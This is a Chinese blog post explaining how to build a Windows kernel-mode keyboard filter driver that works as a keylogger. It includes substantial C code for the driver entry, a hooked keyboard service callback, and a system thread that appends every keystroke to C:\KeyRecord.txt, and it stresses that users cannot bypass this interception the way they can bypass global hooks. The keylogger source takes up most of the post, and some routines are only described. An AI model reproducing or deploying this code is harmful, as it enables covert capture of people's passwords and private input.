利用filter driver实现键盘记录
2008-06-30 23:14
411 查看
实现键盘记录的方法一般是用全局钩子注入进程,这种方法比较简单,网上有N多文章讨论,不过对于一个高明的程序员来说,仍然可以躲开全局钩子的拦截。而用一个键盘的过滤驱动程序来拦截按键,程序员基本不可能绕开它的拦截。这两天无聊的很,做项目不是很顺,抽了点时间写了个东西。贴在这里灌水,高手们就不要看了。 driver entry是标准的例程,我们这里注册了一些分派函数 NTSTATUS DriverEntry ( IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath ) { ULONG i; UNREFERENCED_PARAMETER (RegistryPath); // // Fill in all the dispatch entry points with the pass through function // and the explicitly fill in the functions we are going to intercept // for (i = 0; i <= IRP_MJ_MAXIMUM_FUNCTION; i++) { DriverObject->MajorFunction[i] = KbFilter_DispatchPassThrough; } DriverObject->MajorFunction [IRP_MJ_CREATE] = DriverObject->MajorFunction [IRP_MJ_CLOSE] = KbFilter_CreateClose; DriverObject->MajorFunction [IRP_MJ_PNP] = KbFilter_PnP; DriverObject->MajorFunction [IRP_MJ_POWER] = KbFilter_Power; DriverObject->MajorFunction [IRP_MJ_INTERNAL_DEVICE_CONTROL] = KbFilter_InternIoCtl; DriverObject->MajorFunction [IRP_MJ_SHUTDOWN]=KbFilter_DispatchShutdown; DriverObject->DriverUnload = KbFilter_Unload; DriverObject->DriverExtension->AddDevice = KbFilter_AddDevice; return STATUS_SUCCESS; } 注册KbFilter_DispatchShutdown是为了在系统shutdown的时候获得通知,做些处理。 基本上所有的irp 都通过KbFilter_DispatchPassThrough传递到下层的驱动处理,一些ioctol irp也只是简单的 return一个nt status,我并不关心这些东西,需要传递的irp传递给下层驱动处理,这个filter本身基本不做任何处理,关键的部分在 KbFilter_CreateClose里面创建一个文件用于记录按键,代码如下: RtlInitUnicodeString(&devExt->RecordFileName,L"//DosDevices//c://KeyRecord.txt"); /*NOTE:lzp--2005-4-9--- * OBJ_KERNEL_HANDLE must be set, otherwise, the zwwritefile will failed */ InitializeObjectAttributes(&ObjectAttri,&devExt->RecordFileName,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE, NULL,NULL); //create or open the file status=ZwCreateFile( &devExt->RecordFileHandle, FILE_APPEND_DATA|SYNCHRONIZE, &ObjectAttri, &IoStatusBlock, NULL, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_WRITE|FILE_SHARE_READ, FILE_OPEN_IF, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0); if (!NT_SUCCESS(status)) { DbgPrint("ZwCreateFile failed/n"); //IoDeleteDevice(device); return (status); } 所有的按键都保存在这个文件中,当有按键时候,会出发中断,最终调用VOID KbFilter_ServiceCallback( IN PDEVICE_OBJECT DeviceObject, IN PKEYBOARD_INPUT_DATA InputDataStart, IN PKEYBOARD_INPUT_DATA InputDataEnd, IN OUT PULONG InputDataConsumed )这个函数来处理按键,通过hook这个callback,实现自己的功能,我在device_extension里开了个一个缓冲区用来记录按键,每记录100个按键,写一次文件;这部分都是在KbFilter_ServiceCallback实现的 PDEVICE_EXTENSION devExt; devExt = (PDEVICE_EXTENSION) DeviceObject->DeviceExtension; ProcessScanCode(InputDataStart, InputDataEnd,devExt); (*(PSERVICE_CALLBACK_ROUTINE) devExt->UpperConnectData.ClassService)( devExt->UpperConnectData.ClassDeviceObject, InputDataStart, InputDataEnd, InputDataConsumed); 首先调用ProcessScanCode来记录按键,接着调用上层驱动的callback函数,把数据交给它们处理。 processscancode根据scan code转换为字符,保存在buffer中,每当记录了100个按键后,就调用 NTSTATUS StoreKeyToFile(PDEVICE_EXTENSION devExt) { NTSTATUS status=STATUS_SUCCESS; //DbgPrint("IRQL:%d/n",KeGetCurrentIrql()); DbgPrint("Enter the StoreKeyToFile Routine/n"); devExt->KeyBuffer[index++]='/n'; KeSetEvent(&devExt->BeginWriteEvent,0,FALSE); index=0; return status; } 把数据写入文件。由于此时IRQL是2(dispatch level irql),而zwwritefile只能在passive_level调用,为此专门实现了一个系统线程来做写文件的工作。系统线程在KbFilter_CreateClose 中创建: // create system thread for write key value to file status = PsCreateSystemThread(&ThreadHandle, THREAD_ALL_ACCESS, NULL, NULL, NULL, (PKSTART_ROUTINE) WriteThreadProc, devExt); if (!NT_SUCCESS(status)) return status; ObReferenceObjectByHandle(ThreadHandle, THREAD_ALL_ACCESS, NULL, KernelMode, (PVOID*) &devExt->WriteThread, NULL); ZwClose(ThreadHandle); 并初始化两个event: //initialize event object KeInitializeEvent(&devExt->BeginWriteEvent, NotificationEvent, FALSE); KeInitializeEvent(&devExt->ExitEvent, NotificationEvent, FALSE); 这两个event一个用于通知系统线程开始写文件,一个通知系统线程终止。每当buffer中保存了100个字符时候在storekeytofile里面就通过KeSetEvent(&devExt->BeginWriteEvent,0,FALSE)来唤醒系统线程开始写文件。系统线程代码入下: VOID WriteThreadProc(PDEVICE_EXTENSION pdx) { NTSTATUS status; IO_STATUS_BLOCK IoStatusBlock; PVOID ThreadEvent[]= { (PVOID) &pdx->BeginWriteEvent, (PVOID) &pdx->ExitEvent, }; //DbgPrint("Enter WriteThread/n");//debug only while(TRUE){ DbgPrint("begin wait/n"); status=KeWaitForMultipleObjects(2,ThreadEvent,WaitAny, Executive,KernelMode, FALSE,NULL,NULL); if(!NT_SUCCESS(status)){ DbgPrint("error--KeWaitxxx/n"); goto exit; } if(status==STATUS_TIMEOUT){ DbgPrint("Timeout/n"); goto exit; } if(status == STATUS_WAIT_0){ DbgPrint("Begin Write/n"); KeClearEvent(&pdx->BeginWriteEvent); status=ZwWriteFile(pdx->RecordFileHandle, NULL, NULL, NULL, &IoStatusBlock, (UCHAR*)pdx->KeyBuffer, 100, NULL,//&BufOffset, NULL); if (!NT_SUCCESS(status)) { DbgPrint("Error in ZwWriteFile:%u/n",status); } // KeStallExecutionProcessor(100); }else if(status == STATUS_WAIT_1){ DbgPrint("Terminate/n"); KeClearEvent(&pdx->ExitEvent); goto exit; //PsTerminateSystemThread(STATUS_SUCCESS); }else{ DbgPrint("Error--thread proc/n"); goto exit; } } exit: PsTerminateSystemThread(STATUS_SUCCESS); } 它一创建就进入一个while(TRUE)循环,调用kewaitformultipleobjects来睡眠,等待唤醒。如果是beginwriteevent唤醒的就写文件,如果是exitevent唤醒的就终止运行。 当系统shutdown的时候,可能buffer中的字符不到100个,则不会调用系统线程写文件,我本来的考虑是注册个shutdwon例程,在 KbFilter_DispatchShutdown中把所有buffer中的数据都写到文件中。但是调试后发现这个写文件的操作从来没有成功过,不知道什么原因。此外,更加诡异的是,在系统boot的时候会发送IRP_MJ_CLOSE irp给驱动,结果close例程被调用,这极其奇怪。不过好在每什么影响,没时间了,懒得debug它。 至于为什么KbFilter_DispatchShutdown写文件不成功,不知道哪位大虾了解,麻烦指教。我觉得可能是shutdwon的时候irql不是passive_level或者文件系统驱动已经在键盘驱动之前unload了。不是很清楚。
相关文章推荐
- 利用maven的resources、filter和profile实现不同环境使用不同配置文件
- 利用sql2005的新特性实现根据子表条件得到的主表键且按其排序取出对应主子表记录的方法
- asp.net mvc 5 利用ActionFilterAttribute实现权限过滤
- js 实现键盘记录 兼容FireFox和IE
- 利用PreparedStatement对象实现在数据库中插入一条记录。
- 实现键盘记录的e.Whick和keyCode
- WebAPI 用ExceptionFilterAttribute实现错误(异常)日志的记录(log4net做写库操作)
- 利用QJM实现HDFS的HA策略部署与验证工作记录分享
- java Web项目中,利用其过滤功能,实现访问者每次访问服务器时,记录访问者的IP,访问时间,Url等信息,并保存到文件的操作
- JavaWeb学习记录总结(二十九)--Servlet\Session\Cookie\Filter实现自动登录和记住密码
- Laravel框架实现利用中间件进行操作日志记录功能
- 利用ResultFilter实现asp.net mvc 页面静态化
- Django中利用filter与simple_tag为前端自定义函数的实现方法
- 利用Hook技术实现键盘监控
- 通过自定义注解利用AOP在springmvc中实现记录日志
- 利用数组实现数据库记录的批量录入
- Struts2中利用filter、session实现安全访问和身份认证
- ffmpeg下libavfilter的安装配置以及利用实现添加水印
- 利用BlurMaskFilter实现具有阴影效果的Imageview